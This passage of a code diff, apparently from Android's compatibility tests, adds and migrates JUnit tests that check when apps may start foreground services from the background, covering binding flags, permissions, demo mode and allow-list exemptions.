+            // APP1 is in BG state, bind FGSL in APP1 first.
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_BIND_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            // Then start FGS in APP1
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            // APP1 does not enter FGS state
+            try {
+                waiter.doWait(WAITFOR_MSEC);
+                fail("Service should not enter foreground service state");
+            } catch (Exception e) {
+            }
+
+            // stop FGS
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            // unbind service.
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+        } finally {
+            uid1Watcher.finish();
+        }
+    }
+
+    /**
+     * Test BIND_ALLOW_BACKGROUND_ACTIVITY_STARTS flag.
+     * Shell has START_ACTIVITIES_FROM_BACKGROUND permission, it can use this bind flag to
+     * pass BG-Activity-launch ability to APP2, then APP2 can start APP2 FGS from background.
+     */
+    @Test
+    public void testFgsBindingFlagActivity() throws Exception {
+        testFgsBindingFlag(Context.BIND_ALLOW_BACKGROUND_ACTIVITY_STARTS);
+    }
+
+    /**
+     * Test BIND_ALLOW_FOREGROUND_SERVICE_STARTS_FROM_BACKGROUND flag.
+     * Shell has START_FOREGROUND_SERVICES_FROM_BACKGROUND permission, it can use this bind flag to
+     * pass BG-FGS-launch ability to APP2, then APP2 can start APP3 FGS from background.
+     */
+    @Test
+    public void testFgsBindingFlagFGS() throws Exception {
+        testFgsBindingFlag(Context.BIND_ALLOW_FOREGROUND_SERVICE_STARTS_FROM_BACKGROUND);
+    }
+
+    /**
+     * Test no binding flag.
+     * Shell has START_FOREGROUND_SERVICES_FROM_BACKGROUND permission, without any bind flag,
+     * the BG-FGS-launch ability can be passed to APP2 by service binding, then APP2 can start
+     * APP3 FGS from background.
+     */
+    @Test
+    public void testFgsBindingFlagNone() throws Exception {
+        testFgsBindingFlag(0);
+    }
+
+    private void testFgsBindingFlag(int bindingFlag) throws Exception {
+        ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP1, 0);
+        ApplicationInfo app2Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP2, 0);
+        ApplicationInfo app3Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP3, 0);
+        WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
+                WAITFOR_MSEC);
+        WatchUidRunner uid2Watcher = new WatchUidRunner(mInstrumentation, app2Info.uid,
+                WAITFOR_MSEC);
+        WatchUidRunner uid3Watcher = new WatchUidRunner(mInstrumentation, app3Info.uid,
+                WAITFOR_MSEC);
+        try {
+            // Enable the FGS background startForeground() restriction.
+            enableFgsRestriction(true, true, null);
+
+            // testapp is in background.
+            // testapp binds to service in APP2, APP2 still in background state.
+            final Intent intent = new Intent().setClassName(
+                    PACKAGE_NAME_APP2, "android.app.stubs.LocalService");
+
+            /*
+            final ServiceConnection connection = new ServiceConnection() {
+                @Override
+                public void onServiceConnected(ComponentName name, IBinder service) {
+                }
+                @Override
+                public void onServiceDisconnected(ComponentName name) {
+                }
+            };
+            runWithShellPermissionIdentity(() -> {
+                mTargetContext.bindService(intent, connection,
+                        Context.BIND_AUTO_CREATE | Context.BIND_WAIVE_PRIORITY);
+            });
+
+            // APP2 can not start FGS in APP3.
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP2, PACKAGE_NAME_APP3, 0, null);
+            try {
+                waiter.doWait(WAITFOR_MSEC);
+                fail("Service should not enter foreground service state");
+            } catch (Exception e) {
+            }
+
+            // testapp unbind service in APP2.
+            runWithShellPermissionIdentity(() -> mTargetContext.unbindService(connection));
+            uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+            */
+
+            // testapp is in background.
+            // testapp binds to service in APP2 using the binding flag.
+            // APP2 still in background state.
+            final ServiceConnection connection2 = new ServiceConnection() {
+                @Override
+                public void onServiceConnected(ComponentName name, IBinder service) {
+                }
+                @Override
+                public void onServiceDisconnected(ComponentName name) {
+                }
+            };
+            runWithShellPermissionIdentity(() -> mTargetContext.bindService(intent, connection2,
+                    Context.BIND_AUTO_CREATE | Context.BIND_WAIVE_PRIORITY
+                            | bindingFlag));
+
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            // Because the binding flag,
+            // APP2 can start FGS from background.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP2, PACKAGE_NAME_APP3, 0, null);
+            uid3Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            waiter.doWait(WAITFOR_MSEC);
+
+            // testapp unbind service in APP2.
+            runWithShellPermissionIdentity(() -> mTargetContext.unbindService(connection2));
+            uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+            // Stop the FGS in APP3.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP3, PACKAGE_NAME_APP3, 0, null);
+            uid3Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+        } finally {
+            uid1Watcher.finish();
+            uid2Watcher.finish();
+            uid3Watcher.finish();
+        }
+    }
+
+    /**
+     * Test a FGS can start from BG if the app has SYSTEM_ALERT_WINDOW permission.
+     */
+    @Test
+    public void testFgsStartSystemAlertWindow() throws Exception {
+        ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP1, 0);
+        WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
+                WAITFOR_MSEC);
+        try {
+            // Enable the FGS background startForeground() restriction.
+            enableFgsRestriction(true, true, null);
+            // Start FGS in BG state.
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            // APP1 does not enter FGS state
+            try {
+                waiter.doWait(WAITFOR_MSEC);
+                fail("Service should not enter foreground service state");
+            } catch (Exception e) {
+            }
+
+            PermissionUtils.grantPermission(
+                    PACKAGE_NAME_APP1, android.Manifest.permission.SYSTEM_ALERT_WINDOW);
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            // Now it can start FGS.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            waiter.doWait(WAITFOR_MSEC);
+            // Stop the FGS.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+        } finally {
+            uid1Watcher.finish();
+        }
+    }
+
+    /**
+     * Test a FGS can start from BG if the device is in retail demo mode.
+     */
+    @Test
+    // Change Settings.Global.DEVICE_DEMO_MODE on device may trigger other listener and put
+    // the device in undesired state, for example, the battery charge level is set to 35%
+    // permanently, ignore this test for now.
+    @Ignore
+    public void testFgsStartRetailDemoMode() throws Exception {
+        ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP1, 0);
+        WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
+                WAITFOR_MSEC);
+        runWithShellPermissionIdentity(()-> {
+            mOrigDeviceDemoMode = Settings.Global.getInt(mContext.getContentResolver(),
+                    Settings.Global.DEVICE_DEMO_MODE, 0); });
+
+        try {
+            // Enable the FGS background startForeground() restriction.
+            enableFgsRestriction(true, true, null);
+            // Start FGS in BG state.
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            // APP1 does not enter FGS state
+            try {
+                waiter.doWait(WAITFOR_MSEC);
+                fail("Service should not enter foreground service state");
+            } catch (Exception e) {
+            }
+
+            runWithShellPermissionIdentity(()-> {
+                Settings.Global.putInt(mContext.getContentResolver(),
+                        Settings.Global.DEVICE_DEMO_MODE, 1); });
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            // Now it can start FGS.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            waiter.doWait(WAITFOR_MSEC);
+            // Stop the FGS.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+        } finally {
+            uid1Watcher.finish();
+            runWithShellPermissionIdentity(()-> {
+                Settings.Global.putInt(mContext.getContentResolver(),
+                        Settings.Global.DEVICE_DEMO_MODE, mOrigDeviceDemoMode); });
+        }
+    }
+
+    // At Context.startForegroundService() or Service.startForeground() calls, if the FGS is
+    // restricted by background restriction and the app's targetSdkVersion is at least S, the
+    // framework throws a IllegalStateException with error message.
+    @Test
+    @Ignore("The instrumentation is allowed to star FGS, it does not throw the exception")
+    public void testFgsStartFromBGException() throws Exception {
+        IllegalStateException expectedException = null;
+        final Intent intent = new Intent().setClassName(
+                PACKAGE_NAME_APP1, "android.app.stubs.LocalForegroundService");
+        try {
+            allowBgActivityStart("android.app.stubs", false);
+            enableFgsRestriction(true, true, null);
+            mContext.startForegroundService(intent);
+        } catch (IllegalStateException e) {
+            expectedException = e;
+        } finally {
+            mContext.stopService(intent);
+            allowBgActivityStart("android.app.stubs", true);
+        }
+        String expectedMessage = "mAllowStartForeground false";
+        assertNotNull(expectedException);
+        assertTrue(expectedException.getMessage().contains(expectedMessage));
+    }
+
+    /**
+     * Test a FGS can start from BG if the app is in the DeviceIdleController's AllowList.
+     */
+    @Test
+    public void testFgsStartAllowList() throws Exception {
+        ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP1, 0);
+        WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
+                WAITFOR_MSEC);
+        try {
+            // Enable the FGS background startForeground() restriction.
+            enableFgsRestriction(true, true, null);
+            // Start FGS in BG state.
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            // APP1 does not enter FGS state
+            try {
+                waiter.doWait(WAITFOR_MSEC);
+                fail("Service should not enter foreground service state");
+            } catch (Exception e) {
+            }
+
+            // Add package to AllowList.
+            CtsAppTestUtils.executeShellCmd(mInstrumentation,
+                    "dumpsys deviceidle whitelist +" + PACKAGE_NAME_APP1);
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            // Now it can start FGS.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            waiter.doWait(WAITFOR_MSEC);
+            // Stop the FGS.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+        } finally {
+            uid1Watcher.finish();
+            // Remove package from AllowList.
+            CtsAppTestUtils.executeShellCmd(mInstrumentation,
+                    "dumpsys deviceidle whitelist -" + PACKAGE_NAME_APP1);
+        }
+    }
+
+    /**
+     * Test temp allowlist types in BroadcastOptions.
+     */
+    @Test
+    public void testTempAllowListType() throws Exception {
+        testTempAllowListTypeInternal(TEMPORARY_ALLOWLIST_TYPE_FOREGROUND_SERVICE_NOT_ALLOWED);
+        testTempAllowListTypeInternal(TEMPORARY_ALLOWLIST_TYPE_FOREGROUND_SERVICE_ALLOWED);
+    }
+
+    private void testTempAllowListTypeInternal(int type) throws Exception {
+        ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP1, 0);
+        ApplicationInfo app2Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP2, 0);
+        WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
+                WAITFOR_MSEC);
+        WatchUidRunner uid2Watcher = new WatchUidRunner(mInstrumentation, app2Info.uid,
+                WAITFOR_MSEC);
+        try {
+            // Enable the FGS background startForeground() restriction.
+            enableFgsRestriction(true, true, null);
+            // Start FGS in BG state.
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
+            // APP1 does not enter FGS state
+            try {
+                waiter.doWait(WAITFOR_MSEC);
+                fail("Service should not enter foreground service state");
+            } catch (Exception e) {
+            }
+
+            // Now it can start FGS.
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            runWithShellPermissionIdentity(()-> {
+                final BroadcastOptions options = BroadcastOptions.makeBasic();
+                // setTemporaryAppWhitelistDuration API requires
+                // START_FOREGROUND_SERVICES_FROM_BACKGROUND permission.
+                options.setTemporaryAppWhitelistDuration(type, 10000);
+                // Must use Shell to issue this command because Shell has
+                // START_FOREGROUND_SERVICES_FROM_BACKGROUND permission.
+                CommandReceiver.sendCommandWithBroadcastOptions(mContext,
+                        CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                        PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null,
+                        options.toBundle());
+            });
+            if (type == TEMPORARY_ALLOWLIST_TYPE_FOREGROUND_SERVICE_ALLOWED) {
+                uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+                waiter.doWait(WAITFOR_MSEC);
+                // Stop the FGS.
+                CommandReceiver.sendCommand(mContext,
+                        CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
+                        PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
+                uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
+                        WatchUidRunner.STATE_CACHED_EMPTY);
+            } else if (type == TEMPORARY_ALLOWLIST_TYPE_FOREGROUND_SERVICE_NOT_ALLOWED) {
+                // APP1 does not enter FGS state
+                try {
+                    waiter.doWait(WAITFOR_MSEC);
+                    fail("Service should not enter foreground service state");
+                } catch (Exception e) {
+                }
+            }
+        } finally {
+            uid1Watcher.finish();
+            uid2Watcher.finish();
+            // Sleep 10 seconds to let the temp allowlist expire so it won't affect next test case.
+            SystemClock.sleep(10000);
+        }
+
+    }
+
+    /**
+     * Turn on the FGS BG-launch restriction. DeviceConfig can turn on restriction on the whole
+     * device (across all apps). AppCompat can turn on restriction on a single app package.
+     * @param enable true to turn on restriction, false to turn off.
+     * @param useDeviceConfig true to use DeviceConfig, false to use AppCompat CHANGE ID.
+     * @param packageName the packageName if using AppCompat CHANGE ID.
+     * @throws Exception
+     */
+    private void enableFgsRestriction(boolean enable, boolean useDeviceConfig, String packageName)
+            throws Exception {
+        if (useDeviceConfig) {
+            runWithShellPermissionIdentity(() -> {
+                        DeviceConfig.setProperty("activity_manager",
+                                KEY_DEFAULT_FGS_STARTS_RESTRICTION_ENABLED,
+                                Boolean.toString(enable), false);
+                    }
+            );
+        } else {
+            CtsAppTestUtils.executeShellCmd(mInstrumentation,
+                    "am compat " + (enable ? "enable" : "disable")
+                            + " FGS_BG_START_RESTRICTION_CHANGE_ID " + packageName);
+        }
+    }
+
+    /**
+     * Clean up the FGS BG-launch restriction.
+     * @param packageName the packageName that will have its changeid override reset.
+     * @throws Exception
+     */
+    private void resetFgsRestriction(String packageName)
+            throws Exception {
+        CtsAppTestUtils.executeShellCmd(mInstrumentation,
+                "am compat reset FGS_BG_START_RESTRICTION_CHANGE_ID " + packageName);
+    }
+
+    /**
+     * SYSTEM_ALERT_WINDOW permission will allow both BG-activity start and BG-FGS start.
+     * Some cases we want to grant this permission to allow activity start to bring the app up to
+     * TOP state.
+     * Some cases we want to revoke this permission to test other BG-FGS-launch exemptions.
+     * @param packageName
+     * @param allow
+     * @throws Exception
+     */
+    private void allowBgActivityStart(String packageName, boolean allow) throws Exception {
+        if (allow) {
+            PermissionUtils.grantPermission(
+                    packageName, android.Manifest.permission.SYSTEM_ALERT_WINDOW);
+        } else {
+            PermissionUtils.revokePermission(
+                    packageName, android.Manifest.permission.SYSTEM_ALERT_WINDOW);
+        }
+    }
 }
diff --git a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
index 0de8c47..d1b892b 100644
--- a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
@@ -26,6 +26,10 @@
 import static android.app.ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE;
 import static android.app.ActivityManager.RunningAppProcessInfo.IMPORTANCE_VISIBLE;
 
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+
 import android.accessibilityservice.AccessibilityService;
 import android.app.Activity;
 import android.app.ActivityManager;
@@ -46,7 +50,6 @@
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageManager;
 import android.content.pm.ServiceInfo;
-import android.content.res.Configuration;
 import android.os.Build;
 import android.os.Bundle;
 import android.os.IBinder;
@@ -54,17 +57,26 @@
 import android.os.RemoteException;
 import android.os.SystemClock;
 import android.permission.cts.PermissionUtils;
+import android.platform.test.annotations.Presubmit;
 import android.server.wm.WindowManagerState;
 import android.support.test.uiautomator.BySelector;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiSelector;
-import android.test.InstrumentationTestCase;
 import android.util.Log;
 import android.view.accessibility.AccessibilityEvent;
 
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
 import com.android.compatibility.common.util.SystemUtil;
 
-public class ActivityManagerProcessStateTest extends InstrumentationTestCase {
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+@Presubmit
+public class ActivityManagerProcessStateTest {
     private static final String TAG = ActivityManagerProcessStateTest.class.getName();
 
     private static final String STUB_PACKAGE_NAME = "android.app.stubs";
@@ -104,6 +116,7 @@
     static final String ACTION_STOP_FOREGROUND = "com.android.test.action.STOP_FOREGROUND";
     static final String ACTION_START_THEN_FG = "com.android.test.action.START_THEN_FG";
     static final String ACTION_STOP_SERVICE = "com.android.test.action.STOP";
+    static final String ACTION_FINISH = "com.android.test.action.FINISH";
 
     private static final int TEMP_WHITELIST_DURATION_MS = 2000;
 
@@ -123,11 +136,9 @@
     private ApplicationInfo[] mAppInfo;
     private WatchUidRunner[] mWatchers;
 
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mInstrumentation = getInstrumentation();
+    @Before
+    public void setUp() throws Exception {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
         mContext = mInstrumentation.getContext();
         mTargetContext = mInstrumentation.getTargetContext();
         mServiceIntent = new Intent();
@@ -249,6 +260,7 @@
     /**
      * Test basic state changes as processes go up and down due to services running in them.
      */
+    @Test
     public void testUidImportanceListener() throws Exception {
         final Parcel data = Parcel.obtain();
         ServiceConnectionHandler conn = new ServiceConnectionHandler(mContext, mServiceIntent,
@@ -421,6 +433,7 @@
      * Test that background check correctly prevents idle services from running but allows
      * whitelisted apps to bypass the check.
      */
+    @Test
     public void testBackgroundCheckService() throws Exception {
         final Parcel data = Parcel.obtain();
         Intent serviceIntent = new Intent();
@@ -588,6 +601,7 @@
      * Test that background check behaves correctly after a process is no longer foreground: first
      * allowing a service to be started, then stopped by the system when idle.
      */
+    @Test
     public void testBackgroundCheckStopsService() throws Exception {
         final Parcel data = Parcel.obtain();
         ServiceConnectionHandler conn = new ServiceConnectionHandler(mContext, mServiceIntent,
@@ -759,6 +773,7 @@
      * Test the background check doesn't allow services to be started from broadcasts except when in
      * the correct states.
      */
+    @Test
     public void testBackgroundCheckBroadcastService() throws Exception {
         final Intent broadcastIntent = new Intent();
         broadcastIntent.setFlags(Intent.FLAG_RECEIVER_FOREGROUND);
@@ -894,6 +909,7 @@
     /**
      * Test that background check does allow services to be started from activities.
      */
+    @Test
     public void testBackgroundCheckActivityService() throws Exception {
         final Intent activityIntent = new Intent();
         activityIntent.setClassName(SIMPLE_PACKAGE_NAME,
@@ -983,6 +999,7 @@
     /**
      * Test that the foreground service app op does prevent the foreground state.
      */
+    @Test
     public void testForegroundServiceAppOp() throws Exception {
         PermissionUtils.grantPermission(
                 STUB_PACKAGE_NAME, android.Manifest.permission.PACKAGE_USAGE_STATS);
@@ -1143,6 +1160,7 @@
      * Verify that an app under background restrictions has its foreground services demoted to
      * ordinary service state when it is no longer the top app.
      */
+    @Test
     public void testBgRestrictedForegroundService() throws Exception {
         final Intent activityIntent = new Intent()
                 .setClassName(SIMPLE_PACKAGE_NAME,
@@ -1152,7 +1170,7 @@
         PermissionUtils.grantPermission(
                 STUB_PACKAGE_NAME, android.Manifest.permission.PACKAGE_USAGE_STATS);
         final ServiceProcessController controller = new ServiceProcessController(mContext,
-                getInstrumentation(), STUB_PACKAGE_NAME, mAllProcesses, WAIT_TIME);
+                mInstrumentation, STUB_PACKAGE_NAME, mAllProcesses, WAIT_TIME);
         final WatchUidRunner uidWatcher = controller.getUidWatcher();
 
         final Intent homeIntent = new Intent()
@@ -1225,6 +1243,7 @@
     /**
      * Test that a single "can't save state" app has the proper process management semantics.
      */
+    @Test
     public void testCantSaveStateLaunchAndBackground() throws Exception {
         if (!supportsCantSaveState()) {
             return;
@@ -1331,11 +1350,12 @@
             device.waitForIdle();
 
             // Exit activity, check to see if we are now cached.
-            mInstrumentation.getUiAutomation().performGlobalAction(
-                    AccessibilityService.GLOBAL_ACTION_BACK);
-            // Hit back again in case the notification curtain is open
-            mInstrumentation.getUiAutomation().performGlobalAction(
-                    AccessibilityService.GLOBAL_ACTION_BACK);
+            final Intent finishIntent = new Intent();
+            finishIntent.setPackage(CANT_SAVE_STATE_1_PACKAGE_NAME);
+            finishIntent.setAction(ACTION_FINISH);
+            finishIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            finishIntent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
+            mTargetContext.startActivity(finishIntent);
 
             // Wait for process to become cached
             uidCachedListener.waitForValue(
@@ -1364,6 +1384,7 @@
     /**
      * Test that switching between two "can't save state" apps is handled properly.
      */
+    @Test
     public void testCantSaveStateLaunchAndSwitch() throws Exception {
         if (!supportsCantSaveState()) {
             return;
@@ -1496,14 +1517,17 @@
             uid1Watcher.waitFor(WatchUidRunner.CMD_UNCACHED, null);
             uid1Watcher.expect(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP);
 
-            // Exit activity, check to see if we are now cached.
             waitForAppFocus(CANT_SAVE_STATE_1_PACKAGE_NAME, WAIT_TIME);
             device.waitForIdle();
-            mInstrumentation.getUiAutomation().performGlobalAction(
-                    AccessibilityService.GLOBAL_ACTION_BACK);
-            // Hit back again in case the notification curtain is open
-            mInstrumentation.getUiAutomation().performGlobalAction(
-                    AccessibilityService.GLOBAL_ACTION_BACK);
+
+            // Exit activity, check to see if we are now cached.
+            final Intent finishIntent = new Intent();
+            finishIntent.setPackage(CANT_SAVE_STATE_1_PACKAGE_NAME);
+            finishIntent.setAction(ACTION_FINISH);
+            finishIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            finishIntent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
+            mTargetContext.startActivity(finishIntent);
+
             uid1Watcher.expect(WatchUidRunner.CMD_CACHED, null);
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_RECENT);
 
@@ -1526,6 +1550,7 @@
      *
      * @throws Exception
      */
+    @Test
     public void testCycleFgs() throws Exception {
         ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
                 PACKAGE_NAME_APP1, 0);
@@ -1586,6 +1611,7 @@
      *
      * @throws Exception
      */
+    @Test
     public void testCycleFgsTriangle() throws Exception {
         ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
                 PACKAGE_NAME_APP1, 0);
@@ -1672,6 +1698,7 @@
      *
      * @throws Exception
      */
+    @Test
     public void testCycleFgsTriangleBiDi() throws Exception {
         ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
                 PACKAGE_NAME_APP1, 0);
@@ -1753,6 +1780,7 @@
      * client to service.
      * @throws Exception
      */
+    @Test
     public void testFgsLocationBind() throws Exception {
         setupWatchers(3);
 
@@ -1841,6 +1869,7 @@
      * Bound app should be TOP w/flag and BTOP without flag.
      * @throws Exception
      */
+    @Test
     public void testTopBind() throws Exception {
         setupWatchers(2);
 
@@ -1887,6 +1916,7 @@
         return monitor.waitForActivity();
     }
 
+    @Test
     public void testCycleTop() throws Exception {
         ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
                 PACKAGE_NAME_APP1, 0);
@@ -2024,6 +2054,7 @@
         }
     }
 
+    @Test
     public void testCycleFgAppAndAlert() throws Exception {
         ApplicationInfo stubInfo = mContext.getPackageManager().getApplicationInfo(
                 STUB_PACKAGE_NAME, 0);
@@ -2144,4 +2175,58 @@
             uid3Watcher.finish();
         }
     }
+
+    // Copied from android.test.InstrumentationTestCase
+    /**
+     * Utility method for launching an activity.
+     *
+     * <p>The {@link Intent} used to launch the Activity is:
+     *  action = {@link Intent#ACTION_MAIN}
+     *  extras = null, unless a custom bundle is provided here
+     * All other fields are null or empty.
+     *
+     * <p><b>NOTE:</b> The parameter <i>pkg</i> must refer to the package identifier of the
+     * package hosting the activity to be launched, which is specified in the AndroidManifest.xml
+     * file.  This is not necessarily the same as the java package name.
+     *
+     * @param pkg The package hosting the activity to be launched.
+     * @param activityCls The activity class to launch.
+     * @param extras Optional extra stuff to pass to the activity.
+     * @return The activity, or null if non launched.
+     */
+    public final <T extends Activity> T launchActivity(
+            String pkg,
+            Class<T> activityCls,
+            Bundle extras) {
+        Intent intent = new Intent(Intent.ACTION_MAIN);
+        if (extras != null) {
+            intent.putExtras(extras);
+        }
+        return launchActivityWithIntent(pkg, activityCls, intent);
+    }
+
+    // Copied from android.test.InstrumentationTestCase
+    /**
+     * Utility method for launching an activity with a specific Intent.
+     *
+     * <p><b>NOTE:</b> The parameter <i>pkg</i> must refer to the package identifier of the
+     * package hosting the activity to be launched, which is specified in the AndroidManifest.xml
+     * file.  This is not necessarily the same as the java package name.
+     *
+     * @param pkg The package hosting the activity to be launched.
+     * @param activityCls The activity class to launch.
+     * @param intent The intent to launch with
+     * @return The activity, or null if non launched.
+     */
+    @SuppressWarnings("unchecked")
+    public final <T extends Activity> T launchActivityWithIntent(
+            String pkg,
+            Class<T> activityCls,
+            Intent intent) {
